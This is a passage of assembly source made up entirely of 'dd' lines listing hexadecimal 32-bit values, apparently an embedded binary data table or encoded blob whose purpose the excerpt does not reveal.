0BC8B020Ch, 5D2F97CCh, 0E5E6008h, 6A22BF57h dd 5C295892h, 95483A2Ah, 0F01156D0h, 3A75865Fh, 2E0A604Bh dd 0E9036A08h, 3CB79270h, 28B62172h, 42D14EB6h, 0F41F2204h dd 15B464E4h, 3E4D5015h, 85A3C4DCh, 0A490714h, 1A4CEB04h dd 8988D410h, 42EB05D8h, 11C82132h, 0EB06B06Fh, 0D968418h dd 1A625545h, 0E8E01317h, 21DF2596h, 855D59A5h, 220B97E9h dd 2B11C078h, 0C5522A0Ah, 0F8F3214Bh, 53061A78h, 2426A57h dd 0FC6F6E55h, 292D2FE8h, 0BD7B2BC6h, 21B9DDADh, 0C410102Bh dd 0D15CB49Ch, 1E7C2124h, 0FC08A338h, 5EC68896h, 47CB78E6h dd 4B122947h, 209A71C8h, 0D7B25D25h, 1B386D42h, 56500574h dd 469EB82h, 0BC6C8545h, 77187149h, 8B3C2E12h, 0C430D221h dd 23B7215Ch, 0AD113C12h, 0F63431EAh, 2A283B24h, 434E1C89h dd 4061F45Eh, 10043342h, 0EFED2E9h, 223DF468h, 64909070h dd 536615B3h, 88B8A7C7h, 79505DF6h, 0E850842Bh, 9085E115h dd 44E0C864h, 425B2CCCh, 10DC212Ah, 2946B2B7h, 8F016C3Ah dd 8A247D89h, 8DBBBF24h, 0FB841044h, 598E2908h, 17081403h dd 2C7744D0h, 212946ECh, 0B26010C4h, 22E43B92h, 7B471649h dd 3210B821h, 51EB28B7h, 171B154Bh, 6228F8C4h, 42E84B0h dd 17A6742Ch, 0ED10AC42h, 395DA25Ch, 85D608A4h, 0C427E288h dd 16BF22A0h, 0C84FCB47h, 17AEA87Ah, 9C287847h, 0C891422Eh dd 894E561h, 0DB587A17h, 90428C26h, 0C4646321h, 4C118872h dd 0BC27230Bh, 643521C2h, 117C7210h, 89110B1Eh, 44788825h dd 8E722C07h, 0F0107042h, 3935A25Bh, 85D9086Ch, 64C81E91h dd 0A32CC244h, 60212446h, 8CB2AB10h, 94085839h, 23A08885h dd 7D2254C4h, 21894716h, 0B166104Ch, 48182277h, 0C84F4284h dd 2240E460h, 45231638h, 9F3C1021h, 722E6421h, 0B0A1134h dd 88207811h, 5AF34230h, 21614714h, 0B1DC1024h, 1C181EB9h dd 0C8C54284h, 2214E4A2h dd 0F82316AEh, 2142391Dh, 72E16497h, 0B801104h, 9C1CBB11h dd 0B2691021h, 0B2F838A4h, 230B5289h, 88F49016h, 1BFF583Bh dd 21E8428Ch, 1AEB6224h, 0D08E031h, 4AD49185h, 0A84B27CAh dd 0B81585DDh, 0A0D8AA98h, 8559E429h, 4019C30Ah, 0CD22D444h dd 1CAC17B9h, 0B64284C8h, 62189CC4h, 0B9F11BCh, 0B0428E75h dd 6E648821h, 7111A472h, 0CD4B740Ah, 848F32E9h, 565E1230h dd 0D44921ABh, 91B0044Eh, 0E2CE4F04h, 0EC629D5h, 0A84A8411h dd 1EB68A2Bh, 76EBCF64h, 0A345263Dh, 0D95C8D3Eh, 4B8C1375h dd 13AB7237h, 887286D5h, 61B5EC21h, 7FE8C380h, 20B73949h dd 0CF84213Ch, 18CD8042h, 88D46CEh, 2174CF84h, 0A53ECF90h dd 78B271D5h, 0BB88B264h, 105793D5h, 0D08D8E58h, 18168BA1h dd 76578454h, 90742317h, 535F884Ch, 1238B9A7h, 8885C95Ch dd 0DC624DC2h, 48B419C9h, 0CA495C0Eh, 1EA4CA12h, 128ECA64h dd 0FD4D9113h, 183089DCh, 0AACB6012h, 1F16792Bh, 426E2764h dd 16155748h, 1FCCC958h, 44B25B1Ch, 384FF179h, 48528010h dd 21186C9Fh, 5842CB5Ch, 362618C9h, 0CB5C088Dh, 0CB682174h dd 19F89016h, 0B118A24Fh, 6611B1E0h, 7D6D3709h, 85576088h dd 0C5147608h, 491708CCh, 0C41C5F59h, 0C4324284h, 0BC62130Ah dd 110B1B11h, 0B08812F3h, 0DF2C0444h, 0AC211146h, 5156ED08h dd 84A41CC8h, 0BEC4D642h, 11A06210h, 0A7230BBFh, 0A8889490h dd 31CE8B59h, 8591088Ch, 80C87491h, 652C7A44h, 7C210E46h dd 4EB26310h, 35448B20h, 10A7B180h, 0B46E1120h, 1026708Ah dd 0D22B13Dh, 1790B329h, 0B642621h, 0FC136472h, 8462D2Ch dd 0F8086021h, 1C165155h, 0E1428454h, 6206B6C4h, 0BCA1150h dd 4C909F23h, 8859B388h, 4284441Ch, 563C49Ch, 85114062h dd 904C230Bh, 586E8834h, 428C040Bh, 6257212Ch, 283103F4h dd 91854008h, 441CC8DDh, 461D2C29h, 10182102h, 3B06B212h dd 54FB2194h, 0E697D11Dh, 92B1811h, 2856B841h, 570E5344h dd 6C4BE5C7h, 7A90082Bh, 0BE7831C4h, 242C0A22h, 0BA1FC820h dd 0B52FB42h, 7E6B56F9h, 1326421Ah, 42415006h, 9ADB22BDh dd 0AA1FC873h, 4F7F689Fh, 68D037E9h, 0B6B21ADBh, 6A98DD09h dd 0F19DF88Bh, 0F686A26Ch, 0C76606F0h, 42FCE485h, 47D9AC83h dd 0A4AFB0Ch, 0D3E809F0h, 0F577BB1Fh, 861BE6D6h, 859A8E64h dd 15BA140Eh, 9C08A6F2h, 0CC21B016h, 8C484C25h, 5909821Ch dd 0B9DDCE89h, 4D6EBFBDh, 0E655536Ch, 2BCD4BE4h, 0F08C74Ch dd 4A6AC453h, 34219443h, 841D0848h, 0F3CE2DA3h, 74F4A2ECh dd 0B023C281h, 2DEF165Dh, 40DB4BABh, 862D76F0h, 2C569AB0h dd 0E49E1633h, 0C604F0FDh, 0D8B181E9h, 0B04498F0h, 1653464Dh dd 29891774h, 3A3A1302h, 5A8C182h, 74A7812Ah, 810844D6h dd 6A4A29BCh, 182717A3h, 72E3C3DBh, 3C058493h, 0BEE7CCD3h dd 20D1C6B7h, 5665ECACh, 0A810FDEAh, 1825DF0Dh, 0B752DC9Ah dd 3856CDCEh, 768C2818h, 0A52C423h, 0C4172174h, 14AD2284h dd 0B0D341B7h, 54663112h, 49CD2050h, 0A076E497h, 80EDB4B7h dd 154C8E0Fh, 7731A46Bh, 632B4B86h, 21322C5Dh, 6C752357h dd 0D966F077h, 16B06A71h, 0A4105B3Eh, 328A12C7h, 0EA0CDFC9h dd 5D8AB834h, 16281391h, 4F52FF7Fh, 0EA922B37h, 0B8DC825Fh dd 52BC11EDh, 0C006F828h, 50B82A13h, 0D3E1979Bh, 2C0FAB48h dd 685221A5h, 9E3AB014h, 4AEF10DDh, 560214E2h, 67B0DF42h dd 885EDACh, 3561EC28h, 6B0F413Eh, 88FC973Eh, 0A742EDC4h dd 0DC081D13h, 0DAEC8CAFh, 33F5A4F3h, 0FD768A35h, 189454A7h dd 1D396774h, 0DBC6244Ah, 103207Eh, 7F6AC888h, 0CF71197h dd 864723Bh, 42746C2Ch, 46AA16EFh, 482DB821h, 0F46F8518h dd 0E1FCA2Bh, 0F8212090h, 846C1111h, 758AFC1Ah, 0EEF41AB8h dd 146E3CA1h, 241523EBh, 0EEF03C15h, 13489A54h, 0E37A5B2Ah dd 0B1F48F02h, 84AF5C10h, 163848CEh, 84412F80h, 0D90485C9h dd 0EE284F93h, 34328462h, 10B20443h, 87128018h, 23AF2442h dd 0F373D9C5h, 20CA014Eh, 88840C29h, 642745B4h, 5E575884h dd 8F690A4h, 0AE51D068h, 0FB0D441Dh, 4170A33Eh, 2067232Ah dd 0D08B1C3Fh, 9BFADE57h, 791E155Ch, 5295F803h, 4510220Ah dd 0F445DC48h, 4406F5B9h, 459E0738h, 40E10258h, 258625Fh dd 2246C33Ch, 0DE64247Dh, 0F81C452Fh, 777E327Eh, 5164142Ch dd 0CFD4E83Bh, 0F83B86E3h, 742434E1h, 0DD44A611h, 6F4EF02Fh dd 5258068Bh, 0EB10DA7Ch, 0FC2C5358h, 0A3AE17D7h, 296FC42Dh dd 21C6DD62h, 0D6DD245Eh, 4367C60Ch, 0A53AF247h, 5DC22035h dd 0A4394024h, 8531BD01h, 0EB698930h, 232C9CA6h, 989EF39Ch dd 0E1041F61h, 4E447E08h, 84E24688h, 45882EF3h, 0E0888E5h dd 598B97E5h, 3F18C054h, 298CC24Dh, 90560FF8h, 4F2FD3F3h dd 0A8F690CEh, 5A08D099h, 0D1F2B122h, 4422626Fh, 6C78FE9Ah dd 6EB46E84h, 43831E22h, 91880C22h, 0D884674Ch, 0E5213CACh dd 58468208h, 1EC4176Ah, 4CDC3EE3h, 84F34294h, 1031F280h dd 3E6B1A34h, 215ED87Ch, 0B0F0F3A0h, 110887ADh, 0F63B7146h dd 1C863D4Ch, 5613CA8Ch, 0DDC510E9h, 9F9A04BBh, 2F570940h dd 44D124CAh, 0C2E210C9h, 8112FD9Bh, 269CCEC1h, 0C870CAADh dd 4745BA62h, 278DE2ADh, 7D54921Ah, 0ABA03068h, 286EDE94h dd 4D6F89ADh, 495A8CCEh, 41049392h, 85C7F568h, 0B751247h dd 94868C3h, 19B7E947h, 0B65BBCD6h, 625976C9h, 96A0DACh dd 52AC695Fh, 0C42A0F1h, 17943163h, 55E7B9A2h, 89028F92h dd 5205AE08h, 0D11648EBh, 0A338680Ah, 11501764h, 856E34C8h dd 9B240141h, 812C68F4h, 569A5206h, 716A1F51h, 62262422h dd 2C471E4Ah, 0A83CAF82h, 0B14C402Ch, 8B34410h, 44BF2586h dd 1404CD32h, 0DAB9753h, 0A6257A2Fh, 0B5A0AF44h, 0D340DFE2h dd 86E0B756h, 589ACD8h, 0F84A8DDh, 0E74489E8h, 2654E122h dd 1C629A7Eh, 0BE2BDD7Fh, 1CC728A8h, 0F109F4CDh, 2F09AD96h dd 973868C2h, 42948AE8h, 0E1D9EB0Dh, 0C6381DE9h, 92B15726h dd 0C90097FCh, 42A8F0B9h, 9929030Eh, 663505A6h, 9732387h dd 2758A56Ah, 593C900Bh, 764CC13Bh, 0D8D28E0h, 0D788C794h dd 0B2422642h, 0A5FFB81Dh, 0B4D391Ch, 14084459h, 0AC8D3F83h dd 9656F2DFh, 3D740A42h, 0FF0A8DBFh, 9134887Fh, 28884B43h dd 0C827E4C4h, 36FCAC42h, 8284907Fh, 3382DF06h, 0E724AC74h dd 7CB092EBh, 5774356Ah, 30740800h, 0EA233F80h, 7FECBA2Bh dd 6498BE7Ch, 853F9744h, 3709AE78h, 0B5B0C44Ah, 8643BEBh dd 0E947BCAEh, 6A020DDAh, 647513CCh, 2202101Ah, 0B24A7112h dd 8A1140BBh, 9748FE15h, 8808E730h, 10AEF06Fh, 0BB9DFD0Ch dd 0FB7CC443h, 23402321h, 17684257h, 0A2FC5474h, 4B2808B9h dd 66474841h, 0A1FD77BEh, 18FB7CB1h, 0D748472Dh, 0FC2D99FCh dd 78B2D16Ch, 1CFF0C82h, 8E8C7FB3h, 7D8EB479h, 8C8885B8h dd 1BE841FBh, 2DD17343h, 2F75D988h, 213CA2F1h, 430288FCh dd 55722BC6h, 80D08808h, 75230F38h, 0DFE25003h, 23DC54BEh dd 8E49CE58h, 9D88C809h, 0BCA3190Ch, 0C76CFE15h, 10FC42A8h dd 988FFB7Ch, 6948A90h, 0E25F9091h, 0ABD884C7h, 1B419521h dd 0C439F611h, 7C28FC9Ch, 3EF6FB42h, 215E3996h, 4708FCC0h dd 66B0740Bh, 0A73D3996h, 62F4DED2h, 0C8E43392h, 0B7208537h dd 0CE4006C2h, 0E10500Bh dd 623F4AF8h, 0E8414FBh, 0BE1757EAh, 18B338F8h, 90932D40h dd 0B519FA63h, 0B20D408Ch, 8901E23Eh, 65552F1Ch, 28BD146Eh dd 653DD0F5h, 0C4A2C5Ah, 18900610h, 144920C8h, 0F106A625h dd 40468F0Ch, 0A638F0C4h, 0FB1C10F3h, 0CFA8CA1h, 0B934B059h dd 4E3ECDF3h, 0FB308406h, 2FC55621h, 14118F2Fh, 0C52C12ABh dd 0AB0C0662h, 0CF9855DEh, 98343859h, 13E87D88h, 32EC1F2Dh dd 8113CB69h, 137514Bh, 95DE8A7Ch, 10100A47h, 9C3D2203h dd 408440Bh, 4D040230h, 46142340h, 560AC048h, 62D30868h dd 4C663FBCh, 7F2DE1BAh, 0E8EB901Fh, 0B23E5B9Ch, 8E0F0AD0h dd 8B64116Eh, 40A3D4Eh, 8D0F8280h, 14DD1F5Ah, 71E88244h dd 3E6D0A3Ch, 0B0F95B9Fh, 54E8107Ch, 5738A421h, 0C46F1A53h dd 70B880C1h, 733894E3h, 85CA7AF2h, 34101F56h, 490559B1h dd 689E85D7h, 0F84EAAF8h, 883F14D8h, 0F8165A14h, 9E1EDC23h dd 590861D3h, 0EA4F5136h, 8F457A14h, 0F53F5509h, 48146999h dd 1E469CE3h, 0CA3DB911h, 0A864118Bh, 77A1E350h, 5615171Eh dd 3D90DD31h, 2077840Ah, 0E3D7661h, 711E3B84h, 0C80A3D57h dd 1438A5E8h, 759C3E45h, 2018217Ch, 0F2E92802h, 5667AB1Dh dd 4A269B4h, 222F980h, 4170393Dh, 373CF40Eh, 0F990DDF6h dd 23F8F084h, 4821B4ECh, 49F5263Bh, 0F988C4F6h, 22B47823h dd 700CA58Ch, 49800648h, 0AC21F036h, 3D9F08AAh, 763682DBh dd 0F97CC252h, 0F8EC2114h, 40C690B8h, 3AF964F7h, 86F99010h dd 990CC266h, 0C23CF8F6h, 961C798Ch, 0EED48BBBh, 0D02EA946h dd 7E62F4EDh, 6F67543Ah, 6BF53BAAh, 0D008BDD9h, 503BBBEEh dd 5CA745Ah, 0FCEDC8F6h, 0ABDDA206h, 68B2D6BCh, 0E458B2FEh dd 483226A8h, 6A0D2853h, 0A07919E0h, 96C1B768h, 43CE6F30h dd 9FFD7029h, 18C421A2h, 9C350305h, 0EE42D8EDh, 30EDC884h dd 874103AAh, 74EED888h, 8EEE821h, 2274C169h, 3F6FAA2Ch dd 10E55C37h, 9DD788FFh, 8A0893F3h, 12142339h, 780631D8h dd 17890C39h, 92D98C9Dh, 0C3093A00h, 95174E29h, 0E4DE9675h dd 4BC9D0B7h, 250AC210h, 402520D1h, 0B6D9986Dh, 270868F7h dd 14DAC99Ah, 943ABA21h, 8D01D94h, 543A05Bh, 5024F596h dd 84D99CD8h, 1DD70821h, 0F809A104h, 0B2AF5B38h, 612AA43Ch dd 0A09E9CA4h, 0E9DE54ADh, 0AA089151h, 49649242h, 3E3956A8h dd 33C5011Dh, 886ED86Fh, 484D942h, 63F931D7h, 0D988101Ah dd 0D942A8E8h, 3AF50312h, 0A9C0113Eh, 61F4D913h, 6ACB702Dh dd 434D7528h, 0CBF01038h, 420E3FCAh, 75D4CC70h, 1E322FC5h dd 6206F9CCh, 75D4381Ch, 87CD74D0h, 0E221781Fh, 8430CB6Ch dd 7C2184A9h, 412C43Ah, 707132DDh, 6C100ACDh, 4A91C4CBh dd 0ECDD569h, 21CD7C84h, 0E84EF41Bh, 0F1424C88h, 0CF9830F3h dd 37658885h, 6ED0486Fh, 98880E74h, 4794E8A1h, 0E8D1CA1Eh dd 8D373470h, 71D19C88h, 231EF2A0h, 1C10CF94h, 0E23990DFh dd 31F5020Eh, 85D19838h, 62CF9408h, 213437CCh, 0A4D0D198h dd 332184D1h, 0A8E4D0F3h, 1C1C0989h, 7DC4C342h, 0C39C3136h dd 0EA46F0Ch, 0E8C41C2Bh, 0CA1E5F94h, 4C71E8C4h, 206A278Ch dd 4084C549h, 198A3B10h, 0C5183CF9h, 0C443BE87h, 0B461C314h dd 439B08A8h, 80D8838h, 18E230FCh, 147A14C3h, 8D2AE686h dd 76C31808h, 3A10C542h, 847CE8F2h, 0BF21023h, 4B8E888h dd 57813586h, 0B42409F5h, 7C3F5D6Ah, 0A6B4E929h, 3A13B695h dd 0D6316945h, 0D94CFB36h, 32441236h, 53A4845h, 0F6354F58h dd 0C72940DAh, 6CEDDCECh, 5A50CA8Ah, 9F92B566h, 4C94CAE5h dd 37B3C4E8h, 14811F38h, 0E9E0100Ah, 0CE884A1h, 401721EDh dd 1DE9E0E2h, 42E9E408h, 101DEBB8h, 378E8D10h, 3632D701h dd 9C6C613Eh, 0E1DE08E2h, 0E8613B0Dh, 150CE114h, 4ECA3853h dd 0A08452CBh, 0E11071E2h, 0CFF1408h, 0A3375CE5h, 7A14E2F2h dd 0E4088DA8h, 396C27A7h, 0C8F7B653h, 2F1D0815h, 14E294E2h dd 84E11021h, 3D412E9Dh, 0C6653EA5h, 24E2ACE2h, 0AC302E72h dd 0C7B7E9E1h, 0BD74F5C8h, 3BEAC627h, 0B417DD59h, 1F5E32AAh dd 68580B76h, 119CA750h, 0E9014A1Ah, 446820EBh, 0D7922BBFh dd 42A4CEFEh, 36F81222h, 28CF13F2h, 8E3EAA73h, 8917C511h dd 89CBFB07h, 0B875C0FCh, 0ACB7E83Dh, 74F41241h, 846CEC1Eh dd 98AA3626h, 0D5DC0FD6h, 6622C213h, 19592799h, 7C897FF3h dd 963C5C0h, 9657367Ah, 0C0782305h, 0E7C30888h, 4348980Ch dd 42D73A1h, 0B7FDA7D7h, 0E3638E1h, 9F242420h, 4E27E2Dh dd 782114C3h, 6CAD88C0h, 87C304D0h, 0D1C91047h, 0A6D8D844h dd 34CD0887h, 6783776Bh, 0EB963EE9h, 98324462h, 70CCF5F9h dd 0D631BB20h, 11001132h, 3C66AC5Eh, 0D99248C8h, 0C414C422h dd 0A030AF89h, 5B75C63Bh, 0BF08409h, 8B66051Ch, 0CEE8D224h dd 0EBD85D6Fh, 95F88BB9h, 0BD2A22ACh, 0F0B62F8Bh, 62847AD2h dd 71BD53EEh, 573C3B60h, 0D254B95Eh, 44B4D2A0h, 14F89A6h dd 0B405EB2h, 554BA278h, 0EF2B864h, 0D3A23C4Bh, 8692609Eh dd 0B589B76Ah, 8AB0806Ch, 300B1873h, 5E28B8DAh, 1F6C8331h dd 5BE21883h, 0D1F4ED28h, 0DB2F6436h, 0C58C6806h, 0C7CC38CAh dd 0A14D5325h, 0CBC314CEh, 64DC3417h, 38F10D1Ch, 8F413915h dd 40C491E4h, 108F67DCh, 79C280C8h, 4D3C1932h, 0C529E21Dh dd 0DC44E241h, 84D9B010h, 2184AC76h, 4CC230B7h, 0F4761ADCh dd 5DC94847h, 0A8863296h, 40392445h, 0AF3C1EC8h, 9DCD32Bh dd 1A94DC30h, 408BA2D3h, 3ADC3084h, 84DC5010h, 113AE729h dd 627DA624h, 0A5DCF3E6h, 0D23D2867h, 0E93571E1h, 3CFB31F6h dd 3A4278ECh, 14989284h, 3189CFFFh, 0A733ECCAh, 781D2AC5h dd 0F12F3B6Bh, 0CC688D76h, 4CB291BFh, 7652E947h, 8565FC4Fh dd 0C7F22FA2h, 31232478h, 0C0284675h, 0F167E28h, 0F9691444h dd 0ACE2966Eh, 6830B68Ch, 2FE889B8h, 5A20B7CBh, 0E940592Ch dd 9F98102Bh, 1439D9C2h, 8E97F323h, 211C11AAh, 47254D91h dd 0CA3F86D1h, 39AF3081h, 56B4D82Fh, 2D0B744Ch, 689779B5h dd 9A215EB2h, 2EF07031h, 2546D3BDh, 0A0544B46h, 0B1857129h dd 2ACA8B18h, 30A52637h, 8E2F9CABh, 13112029h, 32A3D11h dd 52E92ABFh, 6C6824A4h, 31307875h, 8593F9Fh, 26D912FBh dd 0C8E9CB84h, 7031AE10h, 0A67DDECh, 402E5410h, 0DE4F6C11h dd 99452A22h, 0E714EC0Fh, 2E31131Bh, 79248672h, 0DF70090Ah dd 8A912766h, 4961749Fh, 0A9E8B406h, 0DD386829h, 9C30948Bh dd 0F50F40AAh, 0D061285Bh, 100ADF6Ch, 0CBC4DDE8h, 3EAC6943h dd 782174AAh, 0A4FCF0DFh, 30230987h, 0C188DB45h, 560A5E0Dh dd 0FB0DA2E9h, 38DC58C2h, 218C2D59h, 4A94DCD8h, 0DD58C50Fh dd 4636FB38h, 0DDDCC42Dh, 0EFBE03Ch, 10DC5411h, 9984A4D0h dd 8011382Fh, 218E27FAh, 5442DDD8h, 3B7718DCh, 0E33E348Dh dd 11DDA21Ah, 81DD626h, 0FC88A494h, 0DDDBADFEh, 199680A1h dd 2E041F71h, 4C48B437h, 840ED411h, 0B7B82DF1h, 2852C0B3h dd 8468863Dh, 0D1208972h, 0B1BFAD14h, 0E9001072h, 5195BF74h dd 0F6EC4903h, 6B78682Ah, 92EAE23h, 7AC62D99h, 5B57932Fh dd 3F8F46EEh, 708B41h, 918BA52Dh, 68226549h, 8F37893Ch dd 954A3CB2h, 0FEB8B87h, 57160659h, 455C3C0Dh, 0A8C7D0FCh dd 0B3BEDE96h, 0DF688B4h, 700199E5h, 0F33B59F0h, 5657E03Bh dd 54538AAEh, 2E0516A9h dd 7D0BB3F3h, 79845718h, 8ACDBD2Ch, 872438BEh, 848BD33Fh dd 91790DACh, 8B47BF3Ch, 56C46088h, 25380482h, 77FA84E9h dd 13519886h, 5B2A640Bh, 77217551h, 68324944h, 5637441Eh dd 50426FA6h, 0A0EF1B1h, 1101C21h, 64AF98A7h, 0A2E2C40Bh dd 50EA382Dh, 91104D0Ch, 1401ACD0h, 68C33DB4h, 793CA3F4h dd 8AE9CAC7h, 0A34DAB1h, 6292F410h, 91A3E8C2h, 2E377E36h dd 9D2BC312h, 0D9BC5551h, 699D3E53h, 8D4AF26Fh, 0D4F55B51h dd 0C71275BDh, 359544C5h, 0C6171A9h, 4EE54548h, 8B6AC823h dd 19EADB81h, 68313B57h, 10182CEDh, 0C342084h, 6627B1A5h dd 3E546968h, 0E86838D9h, 0A62CD66Ch, 42205FCEh, 0A3B868E0h dd 8B60EC55h, 310BCA6Dh, 6E230B78h, 0C7688064h, 0B0A15BD3h dd 42D7550Ch, 9014210Dh, 509F8898h, 0AA9691DFh, 0DD2C42C2h dd 0CC68B06Eh, 0E8438E27h, 0A297F4E3h, 7811341Ah, 9FA18458h dd 4FE90C2Bh, 6920B920h, 0D09B56C1h, 0F388F7DDh, 6C986B3h dd 2B878424h, 36287E8Ah, 0E7799D91h, 84C71E6Dh, 0F09814F8h dd 0CF992BCAh, 0B6745B64h, 2B24A128h, 287A840Bh, 0C8D676B3h dd 2CA0A32Dh, 0C6BD2AF8h, 2C450484h, 0F2F9E1E9h, 1C208A48h dd 0D4BDC91h, 2F31C9C9h, 2FB159B2h, 998F0A1Fh, 4062CEB2h dd 0D38A0462h, 2B8B0AADh, 7DE98C67h, 0FC2E6899h, 66C262A2h dd 0C468DC32h, 4D28FE48h, 0F82A4C74h, 91C59B18h, 2ECB01F8h dd 21429417h, 4D14A2D0h, 0EB0CC0ABh, 0D7A0681Ah, 6452A021h dd 0E40038EFh, 1284AC35h, 140B5B32h, 49337A27h, 0B22AC87h dd 0B1101898h, 0FF2DB29Dh, 0B664C2C8h, 3C294C42h, 0BB1E2123h dd 0A278EFE2h, 0D6323424h, 534505D5h, 52B61224h, 210BA9C4h dd 0F8D34728h, 0AE9B7C0Ah, 140C43AAh, 0C88D29A3h, 317EE204h dd 8AD10F31h, 8DB0A32Ah, 3F33126Eh, 82655E79h, 90F80F1h dd 4E8AD85Dh, 5587C384h, 28458273h, 0F31E8804h, 79957625h dd 3834FA3Fh, 314AC6AFh, 7E1D7548h, 0D8101E9Bh, 291F84A1h dd 0A4102E8Ah, 0F06CCEA1h, 0A1B002E2h, 218CA164h, 0BC4230DDh dd 0C34777F7h, 4FD05225h, 0D03EA373h, 0A2F24BABh, 0B35AD79Eh dd 525E78A7h, 0DAA06795h, 279F804Ah, 9778B6ACh, 4A85BD86h dd 820A348Dh, 0A9A8380h, 0C7F0EC40h, 0DFD73CE1h, 681F0D18h dd 0E984A838h, 0CEFD636h, 0C415A088h, 0D1982292h, 8BA0A81h dd 0A2C956CCh, 0DD248D17h, 7BFF2120h, 8A2B61F1h, 0B5874A01h dd 72AE2A55h, 0C77F2DABh, 0A0162EAh, 0D0432F9Ch, 0CFEB200Ah dd 1FD108A8h, 9468BDB1h, 0DD8E7042h, 4170E131h, 67DC2A0Dh dd 7A612F9h, 47105B8Ah, 518FE328h, 55A0522Fh, 2DF020F6h dd 97A0CC5h, 45858676h, 106A4A40h, 0E9832798h, 0EBEFF664h dd 2821D594h, 277F0BA0h, 0F66B20B0h, 3C436AA6h, 0CA27DD85h dd 2BD87965h, 0B7F0DE58h, 50971464h, 0A008227Bh, 0EC32A377h dd 7A9C0F9Fh, 0DF8027A0h, 2499C0B0h, 0BD39CE82h, 4712F519h dd 31E0051Fh, 8247CF5h, 0E031A90Ch, 65B1D13Ch, 852C2B24h dd 2CDF5F7Ch, 0E14A0452h, 65E691DDh, 9FD48856h, 7926C942h dd 51C64D0h, 5BF61F2Ah, 84E14270h, 0B531DF7Ch, 43701AADh dd 0E10CA1E1h, 0DA43EF08h, 239F94A1h, 26548444h, 0CBC52B98h dd 0F95C5355h, 1E174072h, 0F8F9BD67h, 19637C46h, 2005F1E9h dd 0B882746Ah, 985E252h, 0D32325E8h, 0E2CC0BCAh, 46F592B2h dd 26042915h, 0E2B0C2F7h, 9DF47F5h, 0A071E3D0h, 5426DA42h dd 0E458586Dh, 5C12C886h, 501426A1h, 52E79254h, 589F5814h dd 0AF25AC17h, 470D7D68h, 0E454101Eh, 0CE2B0A1h, 845E461Ah dd 0E2EE454h, 30FF90C1h, 92E46010h, 0B4217415h, 8023FCB9h dd 97A21E13h, 0B29F50DDh, 0E9BBA41Fh, 8C4B10EDh, 0ED42DCFBh dd 0ABD0E90Bh, 0FA882279h, 44483123h, 5F973206h, 188932BCh dd 59909770h, 25B99FECh, 709EE888h, 46BC24DDh, 172B4D59h dd 84578E31h, 0E93106A4h, 1921472Ch, 40F1E866h, 102D519h dd 0C9A1FC8Bh, 0B0602BA5h, 0D3889EC8h, 98ABA9D8h, 26C90A42h dd 7997328Bh, 0DD7E6959h, 31D0BB37h, 0AB8D026Ah, 1304C30Ah dd 0EAEC15CCh, 0FA370233h, 83DC530h, 894E9E78h, 644F6624h dd 0EF568D92h, 134F5C36h, 0BC408B10h, 7B586B44h, 0CBEB078Fh dd 0C6B4A68h, 7F9DF164h, 1C0A9BA6h, 0D52172E8h, 88311D6Dh dd 0B55D1D01h, 0BA9A0512h, 27BD1557h, 850DF50h, 0B6A41D24h dd 429DE422h, 18450213h, 0F588088Ah, 0F2F9A64h, 806D5ABEh dd 93B51619h, 229C0B5Eh, 39100FBh, 37922C8h, 3BCEBF15h dd 0F71B8312h, 28385B6Ch, 4B49B67h, 98F46DE9h, 4956E821h dd 895B1753h, 0A53A6EA4h, 25499A51h, 0C82EC475h, 36AD232Eh dd 24C4512Dh, 5FF468F4h, 0D8DCED01h, 8F21FE4Ah, 0CD173A7h dd 0E238F075h, 0CA84108Dh, 0C99035ACh, 9889C2B7h, 0B7E81982h dd 88E22B94h, 0BE91985Fh, 0CCE2BFE9h, 9DB82061h, 2A8EE812h dd 0B29477EEh, 0D6641CD2h, 90EE48BDh, 0F6DF889Dh, 9CA9DF8Bh dd 22792D64h, 51C91274h, 445F0B6h, 0BB70888Dh, 1A8AA4BDh dd 4054F6AFh, 8301788Dh, 0F7420F8h, 85FD416Fh, 3A5BD84h dd 8BD5832Eh, 2630072Dh, 812F2A3Dh, 741609C0h, 0AE1BBB29h dd 8891D125h, 18659D44h, 4BF1883Ch, 843F9F21h, 0E76C03BCh dd 0D01FBA6Ch, 80475404h, 8D722459h, 98871200h, 14276C6h dd 0B22217C4h, 775FCF30h, 4D02D89Dh, 8BD81A29h, 4B9CFC22h dd 0B779653Ch, 3C0B3473h, 0D828A38Ah, 0E81C4A20h, 0BF28B600h dd 0E462B771h, 94FCE502h, 0AD5E27B4h, 1E85F53h, 5C02C4F1h dd 69849047h, 14DD41D5h, 3BA76523h, 0B2CD6459h, 456C3402h dd 20EBD604h, 5B186BCh, 43CA18BAh, 0F3605B1Fh, 27E9C033h dd 6B7686D7h, 485B5F71h, 0A3904421h, 18B9BDF1h, 44BC8C82h dd 77B0EB62h, 24B51E6Ch, 0A156109Bh, 0E5E77B95h, 0B631AB4Ah dd 0DF4D1866h, 96FE1509h, 1EE21D6h, 201817A3h, 0D4CEE8E1h dd 0F754DCC7h, 863B27E9h, 89713E74h, 6B79ECA8h, 30DF2526h dd 0F91A8535h, 5B13F67Fh, 6AE82E31h, 6885D138h, 181FAECh dd 5CF94653h, 1C291DBEh, 0E5519EC0h, 0F8931C71h, 9390D008h dd 20AB88BEh, 2CFB11BAh, 0FD57CB2Bh, 0F4238A94h, 157099Bh dd 17891F94h, 86401CC8h, 9CAB2695h, 0FE91925h, 41C73A8Bh dd 0A29160A7h, 575CAE18h, 27C958AAh, 13FA531Bh, 814E214Fh dd 8A64D17Dh, 67E27239h, 0F01C74F1h, 0D9CE0EE1h, 1048A210h dd 0DBBF8AA8h, 10922408h, 85241818h, 2A1F381Ch, 8CD11375h dd 26EF27CFh, 0D5CC25Ch, 84FCE9D4h, 0BFB13A50h, 7FD3F17Eh dd 7F2717A6h, 430B1F76h, 9F18161Ch, 2888BD59h, 5EA6D19Bh dd 13082290h, 618697E9h, 189AF8A8h, 289DAC3Ch, 93DA4C68h dd 901821E7h, 5510C924h, 0E94604Dh, 3D898216h, 0E99648E4h dd 96A5F73Eh, 83F2E5Dh, 458D0902h, 0FE822B4Bh, 0EC4C7BA9h dd 1DED434Bh, 6A3217D0h, 857F8223h, 27345975h, 858CE2AAh dd 4625C3C9h, 587D4E88h, 572F8A14h, 75438BF4h, 5B04BB05h dd 156708EFh, 0FABEA931h, 0F02B03DEh, 448D3EFAh, 8D27CF10h dd 9AB871FCh, 47785DE4h, 6E1EC52Bh, 8C393134h, 0B0FEB16Eh dd 1DAC3E8Fh, 210E9301h, 0C8F5478Dh, 40828274h, 255E5FDBh dd 96570B74h, 53A08177h, 9C2DA141h, 0DC6215A5h, 9F0BCF8Ah dd 0BC35CDD5h, 3383201Fh, 0CAB9DB5Fh, 